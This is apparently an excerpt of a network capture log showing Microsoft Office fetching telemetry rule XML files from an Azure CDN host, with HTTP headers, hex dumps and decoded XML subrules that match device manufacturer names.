2024-11-21 06:10:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:00 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061000Z-178bfbc474bv587zhC1NYCny5w00000000xg000000009tyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:02 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061002Z-178bfbc474bvjk8shC1NYC83ns00000000x000000000a41z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:03 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:02 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061002Z-178bfbc474bpnd5vhC1NYC4vr4000000010000000000gskk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:02 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 17c3c293-501e-00a3-6567-3bc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061002Z-178bfbc474bmqmgjhC1NYCy16c0000000170000000002x0m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:02 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:02 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061002Z-178bfbc474bw8bwphC1NYC38b400000000x0000000008weu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:03 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:02 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: b54876a2-a01e-0070-6764-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061002Z-178bfbc474bwlrhlhC1NYCy3kg000000011000000000ds1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:03 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:04 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061005Z-1777c6cb754lv4cqhC1TEB13us0000000ar00000000060se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:04 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061005Z-r1d97b99577n5jhbhC1TEB74vn00000009wg00000000bbhq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:04 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4e7b5ce8-701e-0098-117a-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061005Z-178bfbc474b9fdhphC1NYCac0n00000000w000000000r4ru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:04 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:05 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061005Z-178bfbc474bv7whqhC1NYC1fg400000000yg00000000rz5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:05 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:04 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061005Z-178bfbc474bscnbchC1NYCe7eg000000013000000000s52g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:07 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061007Z-178bfbc474bv587zhC1NYCny5w00000000x000000000d47r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49755	13.107.246.45	443

